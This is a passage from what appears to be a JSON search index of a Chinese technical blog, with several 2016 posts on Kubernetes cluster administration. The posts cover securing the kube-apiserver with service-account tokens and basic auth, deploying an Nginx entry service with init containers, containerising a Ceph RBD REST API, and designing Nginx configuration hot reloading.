26185 // /var/log/upstart/kube-proxy.log I1125 16:30:28.224491 26185 server.go:202] Using iptables Proxier. I1125 16:30:28.228067 26185 server.go:214] Tearing down userspace rules. I1125 16:30:28.245634 26185 conntrack.go:40] Setting nf_conntrack_max to 65536 I1125 16:30:28.247422 26185 conntrack.go:57] Setting conntrack hashsize to 16384 I1125 16:30:28.249456 26185 conntrack.go:62] Setting nf_conntrack_tcp_timeout_established to 86400 从日志上看不出有啥异常，算是成功！:)\n第二个场景：pod in cluster -\u0026gt; master 通过阅读K8s的官方文档“Accessing the api from a pod”，我们知道K8s cluster为Pod访问API Server做了很多“预备”工作，最重要的一点就是在Pod被创建的时候，一个serviceaccount 被自动mount到/var/run/secrets/kubernetes.io/serviceaccount路径下：\n#kubectl describe pod/my-golang-1147314274-0qms5 Name: my-golang-1147314274-0qms5 Namespace: default Node: 10.47.136.60/10.47.136.60 Start Time: Thu, 24 Nov 2016 14:59:52 +0800 Labels: pod-template-hash=1147314274 run=my-golang Status: Running IP: 172.16.99.9 ... ... Containers: my-golang: ... ... Volume Mounts: /var/run/secrets/kubernetes.io/serviceaccount from default-token-40z0x (ro) Environment Variables: \u0026lt;none\u0026gt; ... ... Volumes: default-token-40z0x: Type: Secret (a volume populated by a Secret) SecretName: default-token-40z0x QoS Class: BestEffort Tolerations: \u0026lt;none\u0026gt; serviceaccount顾名思义，是Pod中程序访问APIServer所要使用的账户信息，我们来看看都有啥：\n# kubectl get serviceaccount NAME SECRETS AGE default 1 43d # kubectl describe serviceaccount/default Name: default Namespace: default Labels: \u0026lt;none\u0026gt; Image pull secrets: \u0026lt;none\u0026gt; Mountable secrets: default-token-40z0x Tokens: default-token-40z0x # kubectl describe secret/default-token-40z0x Name: default-token-40z0x Namespace: default Labels: \u0026lt;none\u0026gt; Annotations: kubernetes.io/service-account.name=default kubernetes.io/service-account.uid=90de59ad-9120-11e6-a0a6-00163e1625a9 Type: kubernetes.io/service-account-token Data ==== ca.crt: 1220 bytes namespace: 7 bytes token: {Token data} mount到Pod中/var/run/secrets/kubernetes.io/serviceaccount路径下的default-token-40z0x volume包含三个文件：\nca.crt：CA的公钥证书 namspace文件：里面的内容为：”default” token：用在Pod访问APIServer时候的身份验证。 理论上，使用这些信息Pod可以成功访问APIServer，我们来测试一下。注意在Pod的世界中，APIServer也是一个Service，通过kubectl get service可以看到：\n# kubectl get services NAME CLUSTER-IP EXTERNAL-IP PORT(S) AGE kubernetes 192.168.3.1 \u0026lt;none\u0026gt; 443/TCP 43d kubernetes这个Service监听的端口是443，也就是说在Pod的视角中，APIServer暴露的仅仅是insecure-port。并且使用”kubernetes”这个名字，我们可以通过kube-dns获得APIServer的ClusterIP。\n启动一个基于golang:latest的pod，pod.yaml如下：\napiVersion: extensions/v1beta1 kind: Deployment metadata: name: my-golang spec: replicas: 1 template: metadata: labels: run: my-golang spec: containers: - name: my-golang image: golang:latest command: [\u0026quot;tail\u0026quot;, \u0026quot;-f\u0026quot;, \u0026quot;/var/log/bootstrap.log\u0026quot;] Pod启动后，docker exec -it container-id /bin/bash切入container，并执行如下命令：\n# TOKEN=\u0026quot;$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)\u0026quot; # curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt https://kubernetes:443/version -H \u0026quot;Authorization: Bearer $TOKEN\u0026quot; Unauthorized 查看API Server的log：\nE1125 17:30:22.504059 2743425 handlers.go:54] Unable to authenticate the request due to an error: crypto/rsa: verification error 似乎是验证token失败。这个问题在kubernetes的github issue中也有被提及，目前尚未解决。\n不过仔细想了想，如果每个Pod都默认可以访问APIServer，显然也是不安全的，虽然我们可以通过authority和admission control对默认的token访问做出限制，但总感觉不那么“安全”。\n我们来试试basic auth方式（这种方式的弊端是API Server运行中，无法在运行时动态更新auth文件，对于auth文件的修改，必须重启APIServer后生效）。\n我们首先在APIServer侧为APIServer创建一个basic auth file：\n// /srv/kubernetes/basic_auth_file admin123,admin,admin basic_auth_file中每一行的格式：password,username,useruid\n修改APIServer的启动参数，将basic_auth_file传入并重启apiserver：\nKUBE_APISERVER_OPTS=\u0026quot; --insecure-bind-address=10.47.136.60 --insecure-port=8080 --etcd-servers=http://127.0.0.1:4001 --logtostderr=true --service-cluster-ip-range=192.168.3.0/24 --admission-control=NamespaceLifecycle,LimitRanger,ServiceAccount,SecurityContextDeny,ResourceQuota --service-node-port-range=30000-32767 --advertise-address=10.47.136.60 --basic-auth-file=/srv/kubernetes/basic_auth_file --client-ca-file=/srv/kubernetes/ca.crt --tls-cert-file=/srv/kubernetes/server.cert --tls-private-key-file=/srv/kubernetes/server.key\u0026quot; 我们在Pod中使用basic auth访问API Server：\n# curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt https://kubernetes:443/version -basic -u admin:admin123 { \u0026quot;major\u0026quot;: \u0026quot;1\u0026quot;, \u0026quot;minor\u0026quot;: \u0026quot;3\u0026quot;, \u0026quot;gitVersion\u0026quot;: \u0026quot;v1.3.7\u0026quot;, \u0026quot;gitCommit\u0026quot;: \u0026quot;a2cba278cba1f6881bb0a7704d9cac6fca6ed435\u0026quot;, \u0026quot;gitTreeState\u0026quot;: \u0026quot;clean\u0026quot;, \u0026quot;buildDate\u0026quot;: \u0026quot;2016-09-12T23:08:43Z\u0026quot;, \u0026quot;goVersion\u0026quot;: \u0026quot;go1.6.2\u0026quot;, \u0026quot;compiler\u0026quot;: \u0026quot;gc\u0026quot;, \u0026quot;platform\u0026quot;: \u0026quot;linux/amd64\u0026quot; } Pod to APIServer authentication成功了。\n六、小结 再重申一次：上述配置不是绝对安全的理想配置方案，只是阶段性满足我目前项目需求的一个“有限安全”方案，大家谨慎参考。\n到目前为止，我们的“有限安全”也仅仅做到Authentication这一步，至于Authority和Admission Control，目前尚未有相关实践，可能会在后续的文章中做单独说明。\n七、参考资料 Master \u0026lt;-\u0026gt; Node Communication – http://kubernetes.io/docs/admin/master-node-communication/ Authentication – http://kubernetes.io/docs/admin/authentication/ Using Authorization Plugins – http://kubernetes.io/docs/admin/authorization/ Accessing the API – http://kubernetes.io/docs/admin/accessing-the-api/ Managing Service Accounts – http://kubernetes.io/docs/admin/service-accounts-admin/ Authenticating Across Clusters with kubeconfig — http://kubernetes.io/docs/user-guide/kubeconfig-file/ Service Accounts — https://docs.openshift.com/enterprise/3.1/dev_guide/service_accounts.html 4S: SERVICES ACCOUNT, SECRET, SECURITY CONTEXT AND SECURITY IN KUBERNETES — http://www.sel.zju.edu.cn/?p=588 KUBERNETES APISERVER源码分析——API请求的认证过程 – http://www.sel.zju.edu.cn/?p=609 Kubernetes安全配置案例 – http://www.cnblogs.com/breg/p/5923604.html ","permalink":"https://tonybai.com/2016/11/25/the-security-settings-for-kubernetes-cluster/","summary":"\u003cp\u003e使用kubernetes/cluster/kube-up.sh脚本在装有\u003ca href=\"http://tonybai.com/tag/ubuntu\"\u003eUbuntu\u003c/a\u003e操作系统的bare metal上\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/\"\u003e搭建的Kubernetes集群\u003c/a\u003e并不安全，甚至可以说是“完全不设防的”，这是因为Kubernetes集群的核心组件：\u003ca href=\"http://kubernetes.io/docs/admin/kube-apiserver/\"\u003ekube-apiserver\u003c/a\u003e启用了insecure-port。insecure-port背后的api server默认完全信任访问该端口的流量，内部无任何安全机制。并且监听insecure-port的api server bind的insecure-address为0.0.0.0。也就是说任何内外部请求，都可以通过insecure-port端口任意操作Kubernetes集群。我们的平台虽小，但“裸奔”的k8s集群也并不是我们想看到的，适当的安全配置是需要的。\u003c/p\u003e","title":"Kubernetes集群的安全配置"},{"content":"这段日子，一直在搞与Kubernetes有关的东东：像什么Kubernetes集群搭建、DNS插件安装和配置、集成Ceph RBD持久卷、Private Registry镜像库访问等，这些都缘于正在开发的一个类PaaS小平台的需要：“平台虽小，五脏俱全”。整个平台由Kubernetes集群承载，对于K8s集群内部的Service来说，目前还欠缺一个服务入口。之前的《Kubernetes集群中的Nginx配置热更新方案》一文实际上就是入口方案设计的一个前奏，而本文则是说明一下Nginx入口服务部署设计和实施过程中遇到的一些坑。\n一、Nginx入口方案简述 Nginx作为集群入口服务，从功能上说，一般都是充当反向代理和负载均衡的角色。在我们这里它更多是用于反向代理，因为负载均衡的事情“移交”给了K8s去实现了。k8s通过ClusterIP- 一种VIP机制，默认基于iptables的负载分担实现服务请求的负载均衡（如iptable nat table的规则：-m statistic –mode random –probability 0.33332999982），查看iptables nat链的rules，可以看到如下样例：\n# iptables -t nat -nL ... ... Chain KUBE-SVC-UQG6736T32JE3S7H (2 references) target prot opt source destination KUBE-SEP-Z7UQLD332S673VAF all -- 0.0.0.0/0 0.0.0.0/0 /* default/nginx-kit: */ statistic mode random probability 0.50000000000 KUBE-SEP-TWOIACCAJCPK3HWO all -- 0.0.0.0/0 0.0.0.0/0 /* default/nginx-kit: */ ... .. 接下来，我们简单说说我们的Nginx入口方案。事先声明：这绝对不是一个理想的方案，因为它还有诸多缺陷，只是在目前平台需求上下文和资源的约束前提下，它可以作为我们的一个可用的过渡方案，方案示意图如下：\nNginx以Kubernetes service的形式运行于K8s cluster内部，并限制只能被K8s调度到带有label: role=entry的Node上； 最外层，通过DNS域名的轮询机制，实现用户请求在Node这一层上的“负载均衡”； 访问某个NodeIP:NodePort的请求，被转发到Nginx ClusterIP: Port，并通过iptables nat的负载机制，分发到Nginx service的多个real endpoints上； 位于real endpoint上的Nginx程序处理用户请求，并根据配置，将请求proxy_pass到后端服务的ClusterIP:Port上，并最终由k8s实现将请求均衡分发到后端服务的endpoint。 二、Nginx入口服务部署 部署前，我们先来给运行Nginx Pod的Node打label：\n# kubectl label node/10.47.136.60 role=entry node \u0026quot;10.47.136.60\u0026quot; labeled # kubectl label node/10.47.136.60 role=entry node \u0026quot;10.47.136.60\u0026quot; labeled # kubectl get nodes --show-labels NAME STATUS AGE LABELS 10.46.181.146 Ready 39d beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/hostname=10.46.181.146,role=entry,zone=ceph 10.47.136.60 Ready 39d beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/hostname=10.47.136.60,role=entry,zone=ceph 在Nginx配置热加载方案一文中，我们提到一个nginx pod中包含三个Container：nginx、nginx-conf-generator和init container，Nginx service的yaml示例如下：\n//nginx-kit.yaml apiVersion: extensions/v1beta1 kind: Deployment metadata: name: nginx-kit spec: replicas: 2 template: metadata: labels: run: nginx-kit annotations: pod.beta.kubernetes.io/init-containers: '[ { \u0026quot;name\u0026quot;: \u0026quot;nginx-kit-init-container\u0026quot;, \u0026quot;image\u0026quot;: \u0026quot;registry.cn-beijing.aliyuncs.com/xxxx/nginx-conf-generator\u0026quot;, \u0026quot;imagePullPolicy\u0026quot;: \u0026quot;IfNotPresent\u0026quot;, \u0026quot;command\u0026quot;: [\u0026quot;/root/conf-generator/nginx-conf-gen\u0026quot;, \u0026quot;-mode\u0026quot;, \u0026quot;gen-once\u0026quot;], \u0026quot;volumeMounts\u0026quot;: [ { \u0026quot;name\u0026quot;: \u0026quot;conf-volume\u0026quot;, \u0026quot;mountPath\u0026quot;: \u0026quot;/etc/nginx/conf.d\u0026quot; } ] } ]' spec: containers: - name: nginx-conf-generator volumeMounts: - mountPath: /etc/nginx/conf.d name: conf-volume image: registry.cn-beijing.aliyuncs.com/xxxx/nginx-conf-generator:latest imagePullPolicy: IfNotPresent - name: xxxx-nginx volumeMounts: - mountPath: /etc/nginx/conf.d name: conf-volume image: registry.cn-hangzhou.aliyuncs.com/xxxx/nginx:latest imagePullPolicy: IfNotPresent command: [\u0026quot;/home/auto-reload-nginx.sh\u0026quot;] ports: - containerPort: 80 volumes: - name: conf-volume emptyDir: {} nodeSelector: role: entry --- apiVersion: v1 kind: Service metadata: name: nginx-kit labels: run: nginx-kit spec: type: NodePort ports: - port: 80 nodePort: 28888 protocol: TCP selector: run: nginx-kit 关于这个yaml，有几点我们是必须要说说的：\n1、关于init container 通过上述yaml文件内容，我们可以看到init container和nginx-conf-generator container都是基于同一镜像创建的，只是工作mode不同罢了。在deployment描述文件中，init container的描述需要放在deployment.spec.template.metadata下面，而不是deployment的metadata下面。如果按照后者编写，那么init container将不会被创建和启动，nginx container启动后也就会提示：找不到”default.conf”。\n另外，虽然源自同一个image，但init container启动时却提示在$PATH里找不到名为”-mode”的可执行程序，显然init container中的ENTRYPOINT并不起作用，nginx-conf-generator的Dockerfile节选如下：\n//Dockerfile From ubuntu:14.04 ... ... ENTRYPOINT [\u0026quot;/root/conf-generator/nginx-conf-gen\u0026quot;] 为此我们在init container的”command”命令参数中增加了可执行程序全路径以供container执行：\n\u0026quot;command\u0026quot; : [\u0026quot;/root/conf-generator/nginx-conf-gen\u0026quot;, \u0026quot;-mode\u0026quot;, \u0026quot;gen-once\u0026quot;], 最后，通过上面yaml文件创建nginx-kit服务依旧要用kubectl apply，而不是kubectl create，否则init container不会被理会。\n2、关于nginx conf模板 由于种种原因，当前我们是通过server host的location path来映射后端cluster中的不同Service的，nginx default.conf模板如下：\nserver { listen 80; #server_name opp.neusoft.com; {{range .}} location {{.Path}} { proxy_pass http://{{.ClusterIP}}:{{.Port}}/; proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } {{end}} #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } } 这里要注意的是proxy_pass directive后面值的写法，如果你选择这样写：\nproxy_pass http://{{.ClusterIP}}:{{.Port}}; 那么当访问某个路径时，比如：localhost/volume/api/v1/pools时，nginx后端的Service收到的url访问路径将是：/volume/api/v1/pools，volume这个location path并不能被去除，后端的Service在做路由匹配时基本都是会出错的。fix的方法是赋予proxy_pass directive下面这样的值：\nproxy_pass http://{{.ClusterIP}}:{{.Port}}/; 没错，在最后加上一个”/”，这样nginx所反向代理的Service将会收到/api/v1/pools这样的访问URl路径。\n","permalink":"https://tonybai.com/2016/11/22/deploy-nginx-service-for-the-services-in-kubernetes-cluster/","summary":"\u003cp\u003e这段日子，一直在搞与\u003ca href=\"http://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e有关的东东：像什么\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/\"\u003eKubernetes集群搭建\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2016/10/23/install-dns-addon-for-k8s/\"\u003eDNS插件安装和配置\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2016/11/07/integrate-kubernetes-with-ceph-rbd/\"\u003e集成Ceph RBD持久卷\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2016/11/16/how-to-pull-images-from-private-registry-on-kubernetes-cluster/\"\u003ePrivate Registry镜像库访问\u003c/a\u003e等，这些都缘于正在开发的一个类\u003ca href=\"https://en.wikipedia.org/wiki/Platform_as_a_service\"\u003ePaaS\u003c/a\u003e小平台的需要：“平台虽小，五脏俱全”。整个平台由Kubernetes集群承载，对于K8s集群内部的Service来说，目前还欠缺一个服务入口。之前的《\u003ca href=\"http://tonybai.com/2016/11/17/nginx-config-hot-reloading-approach-for-kubernetes-cluster/\"\u003eKubernetes集群中的Nginx配置热更新方案\u003c/a\u003e》一文实际上就是入口方案设计的一个前奏，而本文则是说明一下Nginx入口服务部署设计和实施过程中遇到的一些坑。\u003c/p\u003e\n\u003ch4 id=\"一nginx入口方案简述\"\u003e一、Nginx入口方案简述\u003c/h4\u003e\n\u003cp\u003e\u003ca href=\"http://tonybai.com/tag/nginx\"\u003eNginx\u003c/a\u003e作为集群入口服务，从功能上说，一般都是充当反向代理和负载均衡的角色。在我们这里它更多是用于反向代理，因为负载均衡的事情“移交”给了K8s去实现了。k8s通过ClusterIP- 一种VIP机制，默认\u003ca href=\"http://kubernetes.io/docs/user-guide/debugging-services/#is-the-kube-proxy-working\"\u003e基于iptables的负载分担\u003c/a\u003e实现服务请求的负载均衡（如iptable nat table的规则：-m statistic –mode random –probability 0.33332999982），查看iptables nat链的rules，可以看到如下样例：\u003c/p\u003e","title":"为Kubernetes集群中服务部署Nginx入口服务"},{"content":"在《使用Ceph RBD为Kubernetes集群提供存储卷》一文中，我们提到：借助Kubernetes和Ceph的集成，Kubernetes可以使用Ceph RBD为集群内的Pod提供Persistent Volume。但这一过程中，RBD所使用的image的创建、删除还需要手动管理，于是我们又基于go-ceph实现了对RBD image的程序化管理，我们的最终目标是要这种对RBD image的管理服务以一个K8s service的形式发布到Kubernetes集群中去，这就是本文标题中描述的那样：Kuberize Ceph RBD API服务。\n一、Dockerize Ceph RBD API服务 要想使得ceph rbd api Kuberizable，首先要Dockerize Ceph RBD API Service，即容器化。由于go-ceph是Go语言开发，我们的rbd-rest-api同样用Go语言开发。使用Go语言开发有一个众所周知的好处，那就是可以编译为静态二进制文件，可以在运行时不依赖任何外部库，生来自带“适合容器”标签。但由于go-ceph是一个go binding for librados和librbd，其通过cgo实现Go语言对C库的链接和调用。这样一来，我们如果要做static linking，那么我们就要准备齐全所有librados和librbd所依赖的第三方库的.a(archive file)。如果你仅仅是执行下面编译命令，你将得到w行级别的错误信息输出：\n$ go build --ldflags '-extldflags \u0026quot;-static\u0026quot;' . 从错误的信息中，我们可以得到rbd-rest-api静态编译依赖的各种第三方库，包括boost库（apt-get install libboost-all-dev)、libssl(apt-get install libssl)以及libnss3(apt-get install libnss3-dev)。安装好这些库，再修改一下命令行，可将编译错误输出降低到百行以内：\n# go build --ldflags '-extldflags \u0026quot;-static -L /usr/lib/x86_64-linux-gnu -lboost_system -lboost_thread -lboost_iostreams -lboost_random -lcrypto -ldl -lpthread -lm -lz -lc -L /usr/lib/gcc/x86_64-linux-gnu/4.8/ -lstdc++\u0026quot;' . 不过，你将依旧得到诸多错误：\n... ... /usr/lib/gcc/x86_64-linux-gnu/4.8/../../../../lib/librados.a(Crypto.o): In function `CryptoAESKeyHandler::init(ceph::buffer::ptr const\u0026amp;, std::basic_ostringstream\u0026lt;char, std::char_traits\u0026lt;char\u0026gt;, std::allocator\u0026lt;char\u0026gt; \u0026gt;\u0026amp;)': /build/ceph-10.2.3/src/auth/Crypto.cc:280: undefined reference to `PK11_GetBestSlot' /build/ceph-10.2.3/src/auth/Crypto.cc:291: undefined reference to `PK11_ImportSymKey' /build/ceph-10.2.3/src/auth/Crypto.cc:304: undefined reference to `PK11_ParamFromIV' /build/ceph-10.2.3/src/auth/Crypto.cc:282: undefined reference to `PR_GetError' /build/ceph-10.2.3/src/auth/Crypto.cc:293: undefined reference to `PR_GetError' ... ... 这些”undefined reference”指向的符号都是libnss3-dev库中的，但由于libnss3-dev的安装并没有包含libnss3.a文件，因此即便将libnss3显式放在链接参数列表中，比如：”-lnss3″也无法链接成功：\n/usr/bin/ld: cannot find -lnss3 libnss库着实不是一个省油灯，经过几番折腾发现，要想使用libnss的static archive，我们只能手工编译，代码在这里可以获取到：https://github.com/nss-dev/nss，并且这里提供了nss的手工编译方法。\n综上可以看出，纯静态编译rbd-rest-api是很繁琐的，于是我们这次选择默认的动态链接方式，我们只需在docker image中安装librados和librbd这两个依赖库即可，于是rbd-rest-api的Dockerfile的雏形可见：\nFrom ubuntu:14.04 MAINTAINER Tony Bai \u0026lt;author@xxx.com\u0026gt; # use aliyun source for ubuntu # before building image ,make sure copy /etc/apt/sources.list here # COPY sources.list /etc/apt/ RUN apt-get update \u0026amp;\u0026amp; apt-get install -y --no-install-recommends librados-dev librbd-dev \\ \u0026amp;\u0026amp; rm -rf /var/lib/apt/lists/* RUN mkdir -p /root/rbd-rest-api COPY rbd-rest-api /root/rbd-rest-api COPY conf /root/rbd-rest-api/conf RUN chmod +x /root/rbd-rest-api/rbd-rest-api EXPOSE 8080 WORKDIR /root/rbd-rest-api ENTRYPOINT [\u0026quot;/root/rbd-rest-api/rbd-rest-api\u0026quot;] 我们一直在Ubuntu 14.04.x环境下进行各种测试，于是我们自然而然的选择ubuntu:14.04作为我们的base image，构建镜像：\n# docker build -t \u0026quot;test/rbd-rest-api\u0026quot; . ... ... Setting up librados-dev (0.80.11-0ubuntu1.14.04.1) ... Setting up librbd-dev (0.80.11-0ubuntu1.14.04.1) ... Processing triggers for libc-bin (2.19-0ubuntu6.9) ... ---\u0026gt; c987abc7a24d Removing intermediate container 5257ac37392a Step 5 : RUN mkdir -p /root/rbd-rest-api ---\u0026gt; Running in dcabdb990c60 ---\u0026gt; ce0db2a027aa Removing intermediate container dcabdb990c60 Step 6 : COPY rbd-rest-api /root/rbd-rest-api ---\u0026gt; 453fd4b9a27a Removing intermediate container 8b07b5de7537 Step 7 : COPY conf /root/rbd-rest-api/conf ---\u0026gt; e956add07d60 Removing intermediate container 6eaf6e4cf334 Step 8 : RUN chmod +x /root/rbd-rest-api/rbd-rest-api ---\u0026gt; Running in cb278d1919c7 ---\u0026gt; 1e7b86072011 Removing intermediate container cb278d1919c7 Step 9 : EXPOSE 8080 ---\u0026gt; Running in 6a3f457eefca ---\u0026gt; e60cefb50f77 Removing intermediate container 6a3f457eefca Step 10 : WORKDIR /root/rbd-rest-api ---\u0026gt; Running in 703baf8c5564 ---\u0026gt; 6f1a5e5e145c Removing intermediate container 703baf8c5564 Step 11 : ENTRYPOINT /root/rbd-rest-api/rbd-rest-api ---\u0026gt; Running in 16dd4e7e3995 ---\u0026gt; 43f885b958c7 Removing intermediate container 16dd4e7e3995 Successfully built 43f885b958c7 # docker images REPOSITORY TAG IMAGE ID CREATED SIZE test/rbd-rest-api latest 43f885b958c7 57 seconds ago 298 MB 测试启动镜像，注意我们“只读”挂载了本地路径/etc/ceph：\n# docker run --name rbd-rest-api --rm -p 8080:8080 -v /etc/ceph/:/etc/ceph/:ro test/rbd-rest-api 2016/11/14 14:58:17 [I] [asm_amd64.s:2086] http server Running on http://:8080 我们来测试一下这个Docker中的rbd-rest-api service：\n# curl -v http://localhost:8080/api/v1/pools/ * Hostname was NOT found in DNS cache * Trying 127.0.0.1... * Connected to localhost (127.0.0.1) port 8080 (#0) \u0026gt; GET /api/v1/pools/ HTTP/1.1 \u0026gt; User-Agent: curl/7.35.0 \u0026gt; Host: localhost:8080 \u0026gt; Accept: */* \u0026gt; \u0026lt; HTTP/1.1 200 OK \u0026lt; Content-Length: 130 \u0026lt; Content-Type: application/json; charset=utf-8 * Server beegoServer:1.7.1 is not blacklisted \u0026lt; Server: beegoServer:1.7.1 \u0026lt; Date: Mon, 14 Nov 2016 14:59:29 GMT \u0026lt; { \u0026quot;Kind\u0026quot;: \u0026quot;PoolList\u0026quot;, \u0026quot;APIVersion\u0026quot;: \u0026quot;v1\u0026quot;, \u0026quot;Items\u0026quot;: [ { \u0026quot;name\u0026quot;: \u0026quot;rbd\u0026quot; }, { \u0026quot;name\u0026quot;: \u0026quot;rbd1\u0026quot; } ] * Connection #0 to host localhost left intact } 测试OK。\n这里不得不提的是：如果你挂载的是仅仅是/etc/ceph/ceph.conf的话，那么当rbd-rest-api服务收到请求后，会返回：\nErrcode=300, errmsg: error rados: No such file or directory 这是因为容器中的rbd-rest-api没有看到ceph.client.admin.keyring，因此在登录ceph monitor时鉴权失败了。当然你也可以不映射本地目录，取而代之的是将/etc/ceph/ceph.conf和/etc/ceph/ceph.client.admin.keyring放入到镜像中，后一种方法这里就不详细描述了。librados给出的错误提示真是太差了，本来应该是一个权限的问题，居然说找不到librados。\n二、Kuberize Ceph RBD API服务 容器化测试成功了，接下来就是将Ceph RBD API Kuberize化。根据上面Docker镜像的设计，承载Ceph RBD API服务 Pod的Node上，必须要安装了Ceph client，即包括ceph.conf和ceph.client.admin.keyring，于是有选择性的调度Ceph RBD API服务到安装了ceph client的kubernetes node上是这一节必须考虑的问题。\n我们的思路是将rbd-rest-api的pod通过k8s调度到带有指定label的k8s node上去，我们给kubernetes集群的node打标签，安装了ceph client的集群node，打的标签为：zone=ceph。\n# kubectl label nodes 10.46.181.146 zone=ceph # kubectl label nodes 10.47.136.60 zone=ceph # kubectl get nodes --show-labels NAME STATUS AGE LABELS 10.46.181.146 Ready 32d beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/hostname=10.46.181.146,zone=ceph 10.47.136.60 Ready 32d beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/hostname=10.47.136.60,zone=ceph 接下来就是在rbd-rest-api service的yaml中设定pod的调度策略了：\n//rbd-rest-api.yaml apiVersion: extensions/v1beta1 kind: Deployment metadata: name: rbd-rest-api spec: replicas: 2 template: metadata: labels: app: rbd-rest-api spec: containers: - name: rbd-rest-api image: registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest #imagePullPolicy: IfNotPresent imagePullPolicy: Always ports: - containerPort: 8080 volumeMounts: - mountPath: /etc/ceph name: ceph-default-config-volume volumes: - name: ceph-default-config-volume hostPath: path: /etc/ceph nodeSelector: zone: ceph imagePullSecrets: - name: rbd-rest-api-default-secret --- apiVersion: v1 kind: Service metadata: name: rbd-rest-api labels: app: rbd-rest-api spec: ports: - port: 8080 selector: app: rbd-rest-api 我们可以看到在Deployment的spec中有一个nodeSelector，这个设置可以让k8s scheduler在调度service时只选择具备zone=ceph label的Node。注意关于imagePullSecrets的设置，可以参考《Kubernetes从Private Registry中拉取容器镜像的方法》一文。\n","permalink":"https://tonybai.com/2016/11/21/kuberize-ceph-rbd-api-service/","summary":"\u003cp\u003e在《\u003ca href=\"http://tonybai.com/2016/11/07/integrate-kubernetes-with-ceph-rbd/\"\u003e使用Ceph RBD为Kubernetes集群提供存储卷\u003c/a\u003e》一文中，我们提到：借助\u003ca href=\"http://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e和\u003ca href=\"http://ceph.com/\"\u003eCeph\u003c/a\u003e的集成，Kubernetes可以使用Ceph RBD为集群内的Pod提供Persistent Volume。但这一过程中，RBD所使用的image的创建、删除还需要手动管理，于是我们又基于\u003ca href=\"https://github.com/ceph/go-ceph/\"\u003ego-ceph\u003c/a\u003e实现了\u003ca href=\"http://tonybai.com/2016/11/09/operate-ceph-rbd-images-with-go-ceph/\"\u003e对RBD image的程序化管理\u003c/a\u003e，我们的最终目标是要这种对RBD image的管理服务以一个K8s service的形式发布到Kubernetes集群中去，这就是本文标题中描述的那样：Kuberize Ceph RBD API服务。\u003c/p\u003e","title":"Kuberize Ceph RBD API服务"},{"content":"Nginx已经是互联网IT业界一个无敌的存在，作为反向代理、负载均衡、Web服务器等多种角色的扮演者，Nginx在全球各个互联网公司落地、开花和结果，Ngnix已经成为了支撑全球互联网应用的一个不可获取的组成部分。\n在我们的平台中，Nginx同样被拿来作为服务接入的最前端的反向代理，并且我们的Nginx也是作为一个Service跑在我们的Kubernetes集群中的。Ngnix背后的服务众多，服务的生生死死都要在Nginx上这些服务路由的配置中有所体现，这就要求部署在Kubernetes集群中的Nginx需要有一个合理的配置热更新方案。\nNginx自身是支持配置热更新的，通过nginx -s reload命令可以实现这一点：\n# sudo nginx -s reload # sudo tail -100f /var/log/nginx/error.log 2016/11/18 08:21:03 [notice] 31516#31516: signal process started 这也是诸多nginx热更新方案的基础。\n随着Docker容器以及容器集群/云的出现，Nginx也被Dockerize了，Docker中Nginx的配置热更新方案在Jason Wilder的这篇文章中有体现，在该方案中，你可以直接使用Jason Wilder开源的Nginx-proxy实现容器中Nginx的配置的热更新。但这个方案并不能直接适用于Kubernetes，而且作者也并没有Plan support k8s。\n在Kubernetes集群中部署的Nginx，我其实也找到了一个配置热更新的方案，这是普元的一份技术资料《微服务动态路由实现：OpenResty与kubernetes》中提供的，这个方案通过OpenResty与K8s的结合实现了配置热更新。由于我对OpenResty并不熟悉，并且我个人更希望通过Kubernetes自身的一些Feature来实现这个方案，于是我开始了我自己的探索。\n一、需求场景和方案原理 我们要实现的就是：当Kubernetes集群中的Service发生变化时，比如新创建一个Service或删除了一个Service，这些Service在Nginx反向代理中的路由配置需要同步更新并生效。因此，这个过程的场景大致如下：\n管理员通过命令或程序通过API操作K8s集群创建或删除Service； 监听API Server Event的某个程序获取该Event，并从API Server读取最新Service数据，重新生成/etc/nginx/conf.d/default.conf； /etc/nginx/conf.d/default.conf文件的变动触发文件变更事件，监听该事件的脚本调用“nginx -s reload”命令实现Nginx的配置热更新。 针对这一需求场景，我这里给出一个实现方案，先上图：\n简答说明一下：\nNginx作为一个Service部署在Kubernetes集群中，可以有多个Pod副本； 以一个nginx pod为例，该Pod中包含三个Container，分别是init container、nginx container和config-nginx-generator container； 三个Container共同挂载且共享一个Pod volume，emptyDir类型即可，无需持久化的存储卷，三个Container的挂载路径均为/etc/nginx/conf.d； Pod启动时，init container首先启动并访问API Server，获取Service列表，按照一定条件过滤后(比如通过label的key和Value值)，初始创建/etc/nginx/conf.d/default.conf。创建成功后，Container退出； nginx container启动，加载配置，开始提供反向代理服务，并通过inotify工具监视/etc/nginx/conf.d/default.conf文件状态变化，一般变化，就执行nginx -s reload热加载最新配置。 config-nginx-generator container同时也启动起来，监听API Server的service变更Event，一旦有Event出现，就重新读取API Server中的Service list，并重新生成一份新的default.conf，覆盖old版本 default.conf。 二、环境 由于Kubernetes和Docker都在Active Develop的过程中，两个项目的变动都很快，因此，特定的Feature（比如k8s的init container）、操作和说明在某些版本是好用的，但对另外一些版本却是不灵光的。这里先把环境确定清楚，避免误导。\nOS： Ubuntu 14.04.4 LTS Kernel：3.19.0-70-generic #78~14.04.1-Ubuntu SMP Fri Sep 23 17:39:18 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux Docker： # docker version Client: Version: 1.12.2 API version: 1.24 Go version: go1.6.3 Git commit: 